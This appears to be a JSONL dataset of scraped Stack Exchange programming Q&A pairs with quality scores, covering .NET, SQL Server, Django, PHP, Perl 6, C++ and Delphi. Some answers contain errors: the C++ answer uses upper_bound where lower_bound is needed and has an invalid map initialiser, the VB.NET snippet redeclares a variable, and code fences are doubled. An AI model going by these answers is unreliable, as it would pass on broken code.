{"id": "hf_7a1d51bb325c", "question": "<p>I am currently trying to import a semi-colon delimited text file into a database in c# using OleDb where I don't know the type (SQL Server, Access, Oracle, MySQL, postgreSQL, etc.)  Currently I'm reading in the file as a database using the Jet text reader then creating a prepared insert statement, populating the fields, then commiting at the end.  While that works, it's slow and for millions of rows, it takes way too long.</p>\n\n<p>So my question:  Does anybody have any other thoughts on how to best import a text file to a generic database, or comments on my approaches that will lead to a faster import?</p>\n\n<p>I cannot use 3rd party libraries or software to do this as it is part of a larger project</p>\n", "question_body": "", "answer": "Your best bet is to buy an off the shelf application for doing this.\nProfessional Off The Shelf applications use native drivers and fine tune for each type of datasource they will hit against.  This is always under the covers so you don't see how they go about it.  For example, bulkcopy is used against SQL Server; Oracle has a Data Pump.\nThe problem with rolling your own is that you can either spend the money to fine tune your application to work with each of the source types you're likely to encounter OR you take a huge performance hit by using the generic ODBC / ADO / Whatever drivers.\nAt the end of the day, you are better off either leaving this out of your product or just dealing with the inevitable slow approach that you are forced to take.  In this case that means using single insert statements for everything.\nSo, how much money do you have for development resources?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:48.784821"}
{"id": "hf_ff6c7cf2f821", "question": "<blockquote>\n<pre><code>List&lt;tinyClass&gt; ids = new List&lt;tinyClass();\nids.Add(new tinyClass(1, 2));\n\nbool b = ids.IndexOf(new tinyClass(1, 2)) &gt;= 0; //true or false?\n</code></pre>\n</blockquote>\n\n<p>If it compares by value, it should return true; if by reference, it will return false.<br>\nIf it compares by reference, and I make tinyClass a struct - will that make a difference?</p>\n", "question_body": "", "answer": "From MSDN:\nThis method determines equality using the default equality comparer EqualityComparer<T>.Default for T, the type of values in the list.\nThe Default property checks whether type T implements the System.IEquatable<T> generic interface and if so returns an EqualityComparer<T> that uses that implementation. Otherwise it returns an EqualityComparer<T> that uses the overrides of Object.Equals and Object.GetHashCode provided by T.\nIt seems like it uses the Equals method, unless the stored class implements the IEquatable<T> interface.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:48.817405"}
{"id": "hf_f7152890518a", "question": "<p>How can I have a dynamic variable setting the amount of rows to return in SQL Server? Below is not valid syntax in SQL Server 2005+:</p>\n\n<pre><code>DECLARE @count int\nSET @count = 20\n\nSELECT TOP @count * FROM SomeTable\n</code></pre>\n", "question_body": "", "answer": "```\n```\nSELECT TOP (@count) * FROM SomeTable\n```\n```\nThis will only work with SQL 2005+", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:48.854607"}
{"id": "hf_fc8e8aaa0ba4", "question": "<p>I have a .net project (MySolution.Common) that uses the app.config. I am using the project MySolution.Common in an InteropUserControl project called MySolution.InteropCtrl. MySolution.InteropCtrl is embedded into a VB6 project. When the MySolution.InteropCtrl is in the VB6 project, It cannot find the app.config file. Everything in the InteropControl works in VB6 except for what depends on the information in the app.config file. What do I need to change so the MySolution.InteropCtrl can see the app.config file while in VB6?</p>\n", "question_body": "", "answer": "I'm not 100% sure on this.  But I'll throw out some possibilities.  First of all, app.config is not the correct name for the file.  While it is app.config in your project, it gets auto-renamed to\nbinary\n.exe.config or\nbinary\n.dll.config (depending on project type) where\nbinary\nis the name of the project.\nSecondly, I'm not 100% sure if dll.config files are always properly loaded and read by .NET when the application loads.  I don't believe it happens automatically, and that there is an extra call you have to make to read the config file if its for the dll.  If you reneame the config file to match your exe, then it will definitely load and be available to you.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:48.891328"}
{"id": "hf_631c1a193e61", "question": "<p>After making some changes in my models (eg. new field in a model and a new model) what is the best way of reflecting these changes to my populated database? </p>\n\n<hr>\n\n<p>PS: I wanted to see many solutions in one place rated. Apparently more solutions are already listed <a href=\"https://stackoverflow.com/questions/35991/altering-database-tables-in-django\">here</a>.</p>\n", "question_body": "", "answer": "Depends on the scope of the changes.  If it's beyond an ALTER, you're doing major surgery.  Make backups of model as well as database so you can go back.\nMy preference is to put your new (revised, corrected, expanded) model in as a NEW application.  It won't have URL's or anything, just a model.\nCreating the new model as a new application.  Create tests, just to be sure it works.\nsyncdb to build this interim implementation of the new model.\nWrite a little one-time utility to query your old model, and load your new model.  You might want to try this in pure SQL.  I prefer to write a simple query, build and save loop.\nAfter the new model is loaded, you can dump this to a JSON file.\nOnce you've pulled the data out of your old model, you can rebuild your DB in the preferred new format.\nMove the new model into your existing application.\nDrop the old versions of the application's tables.\nsyncdb to build the new tables.\nLoad the JSON file with the data.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:48.914988"}
{"id": "hf_8d8fcda766cd", "question": "<p>When setting up a Home Directory on IIS6 properties for a web site there's an option to \"Index this resource\" which is checked on by default.</p>\n\n<p>Microsoft's site says: </p>\n\n<blockquote>\n  <p>Grant this\n  permission to allow Microsoft Indexing\n  Service to include this folder in a\n  full-text index of the Web site. When\n  you grant this permission, users can\n  perform queries on this resource.</p>\n</blockquote>\n\n<p>Can someone give me more information on when you would check this option on? What sort of queries would a user perform on this resource? What are the pro's and con's of having this set to on/off for a web site?</p>\n", "question_body": "", "answer": "This is for using the indexing service which used to drive the Search. I don't think anyone uses this anymore. It's pretty intensive against the HD. Check to see if the indexing service is even enabled on your server. We would disable by default.\nIf you open the indexing service mmc there will be a system and a web scope. Checking this box would add the web site to the web scope. If you were writing your own search algorithm, you would write a search query against the Web scope. Since it's 2008, you will use Google.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:48.975007"}
{"id": "hf_0293d69af570", "question": "<p>I'm trying to access the Reporting Services via Web Services in my Visual Studio 2008 Application.  How/where can I find my WSDL?  </p>\n", "question_body": "", "answer": "The following example shows the format of the URL to the Reporting Services management WSDL file:\nhttp://server/reportserver/ReportService2005.asmx?wsdl", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:49.000123"}
{"id": "hf_a4df33412754", "question": "<p>Is it possible to open an HTML page using navigateToURL and specifying a named frame in your HTML document? For instance, if you have an iframe on the page called \"Steven\", can you call</p>\n\n<pre><code>navigateToURL(\"someURL\",\"Steven\");\n</code></pre>\n\n<p>instead of something like</p>\n\n<pre><code>navigateToURL(\"someURL\",\"_self\");\n</code></pre>\n\n<p>I have tried this and it opens the URL in a new window.</p>\n", "question_body": "", "answer": "I'm not sure, but you can use JavaScript:\n```\n```\nnavigateToURL(\"javascript:loadFrame(someURL)\");\n```\n```\nThen in your HTML page:\n```\n```\nfunction loadFrame(url) {\n  documents.frames[1].src=url\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:49.097426"}
{"id": "hf_4e0b98849df8", "question": "<p>I need to be able to validate a string against a list of the possible United States Postal Service state abbreviations, and Google is not offering me any direction. </p>\n\n<p>I know of the obvious solution: and that is to code a horridly huge if (or switch) statement to check and compare against all 50 states, but I am asking StackOverflow, since there has to be an easier way of doing this. Is there any RegEx or an enumerator object out there that I could use to quickly do this the most efficient way possible?</p>\n\n<p>[C# and .net 3.5 by the way]</p>\n\n<p><a href=\"https://www.usps.com/send/official-abbreviations.htm\" rel=\"noreferrer\">List of USPS State Abbreviations</a></p>\n", "question_body": "", "answer": "Here's a regex.  Enjoy!\n```\n```\n^(?-i:A[LKSZRAEP]|C[AOT]|D[EC]|F[LM]|G[AU]|HI|I[ADLN]|K[SY]|LA|M[ADEHINOPST]|N[CDEHJMVY]|O[HKR]|P[ARW]|RI|S[CD]|T[NX]|UT|V[AIT]|W[AIVY])$\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:49.133106"}
{"id": "hf_c522a25807bd", "question": "<p>The project I'm on is using a 3rd party component to build dynamic PDFs in a VB.Net web system called ABCpdf.Net.  (not a terrible tool, but not a great one either.)</p>\n\n<p>Every now and then, for reasons I can't fathom, the document object throws a SEHException.  Digging futher, it turns out this is caused by a custom exception in the document object of the type WebSupergoo.ABCpdf6.Internal.PDFException.  The contents contains only the not -terribly-helpful title \"Unable to get image data. Out Of Memory\" Usually this happens when trying to add an image to the PDF.  Since these images are PNGs of less than 100k, I'm guessing their size isn't the issue.</p>\n\n<p>Also, the really strange thing is that once this issue starts happening, the only way to get it to stop seems to be to reboot the web server, which is clearly a little sub-par.</p>\n\n<p>Has anyone ever had this problem (or even used this tool?)</p>\n", "question_body": "", "answer": "I haven't specifically seen this error before, but we've had memory issues with ABC PDF before.\nLong story short is that it is NOT a completely managed code base, but simply a .NET wrapper around their COM version.  That being said, we traced our memory usage problem to not disposing of their objects properly.\nSo, instead of:\n```\n```\nDim doc As New Doc()\n'etc...\n```\n```\ndo this:\n```\n```\nDim doc as Doc\n    Using doc As New Doc()\n      'etc...\n    End Using\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:49.157259"}
{"id": "hf_372953836a54", "question": "<p>New school datastore paradigms like Google BigTable and Amazon SimpleDB are specifically designed for scalability, among other things. Basically, disallowing joins and denormalization are the ways this is being accomplished.</p>\n\n<p>In <a href=\"https://stackoverflow.com/questions/173726/why-are-database-joins-expensive\">this</a> topic, however, the consensus seems to be that joins on large tables don't necessarilly have to be too expensive and denormalization is \"overrated\" to some extent\nWhy, then, do these aforementioned systems disallow joins and force everything together in a single table to achieve scalability? Is it the sheer volumes of data that needs to be stored in these systems (many terabytes)?<br>\nDo the general rules for databases simply not apply to these scales?\nIs it because these database types are tailored specifically towards storing many similar objects?<br>\nOr am I missing some bigger picture?</p>\n", "question_body": "", "answer": "I'm not too familiar with them (I've only read the same blog/news/examples as everyone else) but my take on it is that they chose to sacrifice a lot of the normal relational DB features in the name of scalability - I'll try explain.\nImagine you have 200 rows in your data-table.\nIn google's datacenter, 50 of these rows are stored on server A, 50 on B, and 100 on server C. Additionally server D contains redundant copies of data from server A and B, and server E contains redundant copies of data on server C.\n(In real life I have no idea how many servers would be used, but it's set up to deal with many millions of rows, so I imagine quite a few).\nTo \"select * where name = 'orion'\", the infrastructure can fire that query to all the servers, and aggregate the results that come back. This allows them to scale pretty much linearly across as many servers as they like (FYI this is pretty much what mapreduce is)\nThis however means you need some tradeoffs.\nIf you needed to do a relational join on some data, where it was spread across say 5 servers, each of those servers would need to pull data from eachother\nfor each row\n. Try do that when you have 2 million rows spread across 10 servers.\nThis leads to tradeoff #1 - No joins.\nAlso, depending on network latency, server load, etc, some of your data may get saved instantly, but some may take a second or 2. Again, when you have dozens of servers, this gets longer and longer, and the normal approach of 'everyone just waits until the slowest guy has finished' no longer becomes acceptable.\nThis leads to tradeoff #2 - Your data may not always be immediately visible after it's written.\nI'm not sure what other tradeoffs there are, but off the top of my head those are the main 2.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:49.194414"}
{"id": "hf_91f95c4ce07f", "question": "<p>There are tons of free wysiwyg editors you can embed in web pages. I'm looking for something that is easiest to embed into an adobe air app. Means something that works in webkit and is easy to get the content from with javascript.</p>\n", "question_body": "", "answer": "TinyMCE\nis nice. It's quite popular, even used with the\nSymfony PHP framework\n. Not sure how it will work out with AIR, but chances are really good. Works with Chrome & Safari like a charm.\nEDIT: ... and there's also a\nlightweight jQuery editor plug-in\n. And the\nwmd editor from Attacklab\n(WYSIWYM) that is used here, on StackOverflow.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:49.222528"}
{"id": "hf_60ce2819c1cd", "question": "<p>Is it possible to create an STL-like container, or even just an STL-style iterator, for an existing array of POD-type elements?</p>\n\n<p>For example, suppose I have an array of ints.  It would be convenient to be able to call some of the STL functions, such as find&#95;if, count&#95;if, or sort directly on this array.</p>\n\n<p>Non-solution: copying the entire array, or even just references to the elements.  The goal is to be very memory- and time-saving while hopefully allowing use of other STL algorithms.</p>\n", "question_body": "", "answer": "You can use\nBoost.Array\nto create a C++ array type with STL semantics.\nusing arrays:\n```\n```\nint a[100];\nfor (int i = 0; i < 100; ++i)\n    a[i] = 0;\n```\n```\nusing boost.arrays:\n```\n```\nboost::array<int,100> a;\nfor (boost::array<int,100>::iterator i = a.begin(); i != a.end(); ++i)\n    *i = 0;\n```\n```\nUpdate:\nWith C++11, you can now use\n```\nstd::array\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:49.272117"}
{"id": "hf_8444c75f19c3", "question": "<p>In most modern IDEs, you can have Debug and Release build configurations, and you can quickly switch between them.</p>\n\n<p>In Delphi 7, this does not seem to be possible. I have to go to Project Settings and toggle optimization and all the debug information stuff manually.</p>\n\n<p>It would be great if there was a plugin or some such that handled this for me.</p>\n\n<p>Does anyone know of one? Any other suggestions?</p>\n\n<p><strong>Edit:</strong> I can't upgrade to Delphi 2007 or 2009 as we have a large Delphi 7 codebase which would have to be converted. I agree that would be the best solution in theory though :P</p>\n", "question_body": "", "answer": "I don't know of any build-configurations plugin for Delphi 7, but you could however simulate this;\nJust apply an include-file in every unit of your project(s) (which is a smart thing to do anyways) and let it adjust itself to one single define, like this :\n--- ExampleIncludeFile.inc ---\n```\n```\n{$IFDEF DEBBUG}\n\n{$OPTIMIZATION OFF}\n{$RANGECHECKING ON}\n// etc\n\n{$ELSE}\n\n{$OPTIMIZATION ON}\n{$RANGECHECKING OFF}\n\n{$ENDIF}\n```\n```\nNow, if you add DEBUG to the Compiler defines in your .dof project settings, you'll get a Debug-build, and if you remove it, you get a release build. Other setups are entirely possible too ofcourse.\nDelphi 2005 does have Build Configurations embedded in the Project Manager (Release and Debug only), and Delphi 2009 add even more to this, with nice little things like 'Option sets' and custom 'Configurations' (that you could even mark as Default for all new projects). Give it a look, it's a really great product!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:49.296537"}
{"id": "hf_f3a06630053a", "question": "<p>I need to find a good Lua to JavaScript converter; lua2js on luaforge.org is out of date (3 or so years old and looks like it doesn't work on Lua 5.1) and I haven't yet found anything on Google.</p>\n\n<p>Does anyone have any experience with any other converters out there? It should work on Lua 5.1 and preferably be .NET based, but .NET is not a requirement.  A javascript lua interpreter would work as well.</p>\n", "question_body": "", "answer": "This is a recurrent question on the Lua list, i guess because of the superficial similarity of the two languages.\nUnfortunately, there are many important differences that are not so obvious.  Making it work need either a full-blown compiler targeting JS instead of Lua's bytecode, or rewriting the Lua VM in JavaScript.\nI don't know the original goals of Lua2js; but if it was simply a limited 'translator', then writing Lua code intended to be translated would deny most (all?) of the nice things about Lua.  For instance, i don't think you could use a function as a table key, since in JavaScript the keys are only strings (and numbers? i'm not sure).\nThe .NET choice is more reasonable, it could be done changing the existing compiler to emit CLR bytecode instead of standard Lua bytecode.  Even if CLR is designed and optimised for other kind of languages, it's definitely generic enough to run very well.  The main hurdle would be the availability of libraries.\nAnother option I just found is\nthis paper\nby Roberto Ierusalmschy and Fabio Mascarenhas, where they explore translating LuaVM bytecode into CLR bytecode.\nAs is usual on academic papers, there's no indication about the date when it was written, so i have no idea if it's new and revolutionary or old and forgotten.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:49.381191"}
{"id": "hf_cbf356f2349a", "question": "<p>Is it possible to suppress warnings in Eclipse for JDK1.4 project?</p>\n\n<p>EDIT:\nLonger version. There is a project which requires JDK1.4 (no annotations). Only way of suppressing warnings I know is using annotation @SuppressWarnings - no can do in JDK1.4. Is there any way to remove some warning notifications in some specific method/class (not whole project) ?</p>\n", "question_body": "", "answer": "Setting the compiler to 1.4 compliance in the properties of the project should do the trick. Just right click your project and select \"Properties\" at the bottom and then search for \"Compiler\".", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:49.405116"}
{"id": "hf_ee5557dfa778", "question": "<p>Im looking for a method (or function) to strip out the domain.ext part of any URL thats fed into the function. The domain extension can be anything (.com, .co.uk, .nl, .whatever), and the URL thats fed into it can be anything from <a href=\"http://www.domain.com\" rel=\"noreferrer\">http://www.domain.com</a> to www.domain.com/path/script.php?=whatever</p>\n\n<p>Whats the best way to go about doing this?</p>\n", "question_body": "", "answer": "You can use\nparse_url()\nto do this:\n```\n```\n$url = 'http://www.example.com';\n$domain = parse_url($url, PHP_URL_HOST);\n$domain = str_replace('www.','',$domain);\n```\n```\nIn this example, $domain should contain example.com, irrespective of it having www or not. It also works for a domain such as .co.uk", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:49.487683"}
{"id": "hf_b43146869d44", "question": "<p>I've tried these, and they did not work (Access opens, but it does not wait:</p>\n\n<pre><code>start \"C:\\program files\\Microsoft Office\\Office\\MSACCESS.EXE\" filename.mdb\n\nstart /WAIT \"C:\\program files\\Microsoft Office\\Office\\MSACCESS.EXE\" filename.mdb\n\nstart /W \"C:\\program files\\Microsoft Office\\Office\\MSACCESS.EXE\" filename.mdb\n\nstart filename.mdb\n\nstart msaccess.exe filename.mdb\n</code></pre>\n", "question_body": "", "answer": "```\n```\nstart /WAIT msaccess.exe filename.mdb\n```\n```\ndoes the trick.\nI don't know why adding the full path makes it fail.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:49.512293"}
{"id": "hf_26bfe0a16148", "question": "<p>I would like to make the update of the web application as automated as possible.<br>\nI'm looking for a tool that can compare two instances of a database and generate an update script for me. As part of the build process create a instance of the last version of the database (ie currently in production) and compare that to what has been changed on the development version.  </p>\n\n<p>Any input is appreciated.</p>\n", "question_body": "", "answer": "See\nMechanisms for tracking DB schema changes\nI believe the\nprofluence\nof this question on SO speaks to the lack of a standard solution to this problem.\nThe great divide in approach is\n- write delta scripts\n- automate script generation from a \"master\" instance\nIt sounds like you want something in the latter camp.\nSeveral such solutions and tools are noted in the above question.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:49.549529"}
{"id": "hf_732b34ce9fec", "question": "<p>Is there a way to get the <a href=\"http://msdn.microsoft.com/en-us/library/windows/desktop/aa365527%28v=vs.85%29.aspx\" rel=\"nofollow noreferrer\">SearchPath</a> API to not search in c:\\windows when using the default search path (passing NULL as the first param)? I can't modify the caller to send in a specific path.</p>\n\n<p>I have a system with an application ini file in c:\\windows (which I don't want it to use, but for legacy reasons has to remain there). I put my copy of the same ini file in c:\\users\\public, and put c:\\users\\public at the front of my system path environment variable, but a call to <a href=\"http://msdn.microsoft.com/en-us/library/windows/desktop/aa365527%28v=vs.85%29.aspx\" rel=\"nofollow noreferrer\">SearchPath</a> still finds the c:\\windows version. If I delete that version, it then finds the c:\\users\\public version, so I know the path was set correctly.</p>\n", "question_body": "", "answer": "According to\nMSDN\n, there's nothing you can do about this bar changing a system level (HKLM) registry entry (Which is a \"bad thing\"). The registry change would cause the search order to start with the current working directory, which you could set to the desired folder in a shortcut. (Again, I'm going to say; changing a Machine Level registry entry to do this - is potentially dangerous!)\nHave you looked into\napplication shims\n? This may be something that could work for you.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:49.574633"}
{"id": "hf_bb20b635f784", "question": "<p>Perl 6 seems to have an explosion of equality operators. What is <code>=:=</code>? What's the difference between <code>leg</code> and <code>cmp</code>? Or <code>eqv</code> and <code>===</code>?</p>\n\n<p>Does anyone have a good summary?</p>\n", "question_body": "", "answer": "=:=\ntests if two containers (variables or items of arrays or hashes) are aliased, ie if one changes, does the other change as well?\n```\n```\nmy $x;\nmy @a = 1, 2, 3;\n# $x =:= @a[0] is false\n$x := @a[0];\n# now $x == 1, and $x =:= @a[0] is true\n$x = 4;\n# now @a is 4, 2, 3\n```\n```\nAs for the others:\n===\ntests if two references point to the same object, and\neqv\ntests if two things are structurally equivalent. So\n```\n[1, 2, 3] === [1, 2, 3]\n```\nwill be false (not the same array), but\n```\n[1, 2, 3] eqv [1, 2, 3]\n```\nwill be true (same structure).\n```\nleg\n```\ncompares strings like Perl 5's\n```\ncmp\n```\n, while Perl 6's\n```\ncmp\n```\nis smarter and will compare numbers like\n```\n<=>\n```\nand strings like\n```\nleg\n```\n.\n```\n```\n13 leg 4   # -1, because 1 is smaller than 4, and leg converts to string\n13 cmp 4   # +1, because both are numbers, so use numeric comparison.\n```\n```\nFinally\n```\n~~\n```\nis the \"smart match\", it answers the question \"does\n```\n$x\n```\nmatch\n```\n$y\n```\n\". If\n```\n$y\n```\nis a type, it's type check. If\n```\n$y\n```\nis a regex, it's regex match - and so on.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:49.666502"}
{"id": "hf_dbc1ad463413", "question": "<p>I read some of the answers on here re: testing views and controllers, and mocking, but I still can't figure out how to test an ASP.NET MVC controller that reads and sets Session values (or any other context based variables.)\nHow do I provide a (Session) context for my test methods? Is mocking the answer? Anybody have examples?\nBasically, I'd like to fake a session before I call the controller method and have the controller use that session. Any ideas?</p>\n", "question_body": "", "answer": "The ASP.NET MVC framework is not very mock-friendly (or rather, requires too much setup to mock properly, and causes too much friction when testing, IMHO) due to it's use of abstract base classes instead of interfaces.  We've had good luck writing abstractions for per-request and session-based storage. We keep those abstractions very light and then our controllers depend upon those abstractions for per-request or per-session storage.\nFor example, here's how we manage the forms auth stuff. We have an ISecurityContext:\n```\n```\npublic interface ISecurityContext\n{\n    bool IsAuthenticated { get; }\n    IIdentity CurrentIdentity { get; }\n    IPrincipal CurrentUser { get; set; }\n}\n```\n```\nWith a concrete implementation like:\n```\n```\npublic class SecurityContext : ISecurityContext\n{\n    private readonly HttpContext _context;\n\n    public SecurityContext()\n    {\n        _context = HttpContext.Current;\n    }\n\n    public bool IsAuthenticated\n    {\n        get { return _context.Request.IsAuthenticated; }\n    }\n\n    public IIdentity CurrentIdentity\n    {\n        get { return _context.User.Identity; }\n    }\n\n    public IPrincipal CurrentUser\n    {\n        get { return _context.User; }\n        set { _context.User = value; }\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:49.691785"}
{"id": "hf_0717a80cc97f", "question": "<p>Suppose I have a set of values, stored in a std::set:</p>\n\n<p>{1, 2, 6, 8}</p>\n\n<p>and I have a search key, say, 3. I want to put 3 into a function and get the first value greater than or equal to 3, in this case I would want to get 6.</p>\n\n<p>The find() function provided in map/set/multimap/and set will, of course, return the end iterator for this case. Is there a similar function to find that would return 6 in this case?</p>\n", "question_body": "", "answer": "You want the\nupper_bound\nfunction.\n```\n```\nmap<int, int> mymap = { 1,2,6,8 };\nmap<int,int>::iterator i = mymap.upper_bound(3); // returns an iterator to the '6' element.\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:49.728005"}
{"id": "hf_46b2741bdd90", "question": "<p>A question about different methods of outputting html from PHP; what are the performance differences between these:</p>\n\n<p>Method 1 - variable concatenation</p>\n\n<pre><code>$html = '';\n$html .= '&lt;ul&gt;';\nfor ($k = 1; $k &lt; = 1000; $k++){\n    $html .= '&lt;li&gt; This is list item #'.$k.'&lt;/li&gt;';\n}\n$html .= '&lt;/ul&gt;';\necho $html;\n</code></pre>\n\n<p>Method 2 - output buffering</p>\n\n<pre><code>ob_start();\necho '&lt;ul&gt;';\nfor ($k = 1; $k &lt; = 1000; $k++){\n    echo '&lt;li&gt; This is list item #',$k,'&lt;/li&gt;';\n}\necho '&lt;/ul&gt;';\n</code></pre>\n\n<p>I suspect you get some performance hit from continually modifying and enlarging a variable; is that correct?</p>\n\n<p>Cheers!</p>\n\n<p>Thanks GaryF, but I don't want an answer about architecture - this question is about performance. There seem to be some different opinions / testing about which one is faster, which is why there is not an accepted answer as yet.</p>\n", "question_body": "", "answer": "I typically use method #1 so I can put that HTML any where in a template file that contains static HTML. I try to keep as much HMTL out of my PHP. It makes for much cleaner and shorter PHP, as the template is usually a separate file.\nRegarding speed/performance, I'm thinking the difference will be very minor. With output buffering, it's also enlarging a variable all the time, although that variable isn't accessible, but it has to be stored somewhere.\nI have often wondered if open and closing\n```\n<?php\n```\nis slower than just putting it all inside\n```\n<?php\n```\nand then echo'ing all at once.\nI think in the end we are talking milliseconds in extremely complex scripts.\nOh yeah, method #1 is a lot more flexible as you can\n```\necho $html;\n```\nanywhere.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:49.793455"}
{"id": "hf_ff3c48174187", "question": "<p>I have a filter in a combobox with a number of entries. Instead of filtering the datagrid with an exact match, I would like to take the selected value and only display records where the selected value is contained in the datafield.\nFor example: the user selects a value of \"New\" and the datagrid displays records where the contents of the record could be \"New User\", \"New Person\", \"This one is New\" etc.\nI think that I need to use RegExp, but I cant work out how to get it to work.\nThanks in advance,\nS... </p>\n", "question_body": "", "answer": "Something like this should work:\n```\n```\npublic function filter(item:Object):Boolean{\n        var result:Boolean=false;\n        if (item.name.toUpperCase().indexOf(cbo.selectedLabel.toUpperCase()) >= 0)\n             result=true;\n        return result;\n }\n```\n```\nThis filter function will search the name attribute(or whatever you want to filter on) of the object passed in with the combobox's currently selected label and if it finds that value it will return true.  So if it finds the word \"New\" anywhere in the string it will show up in the datagrid. IE: \"New Person\", \"New User\" will both show up once filtered.\nHope this is what you are looking for.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:49.818879"}
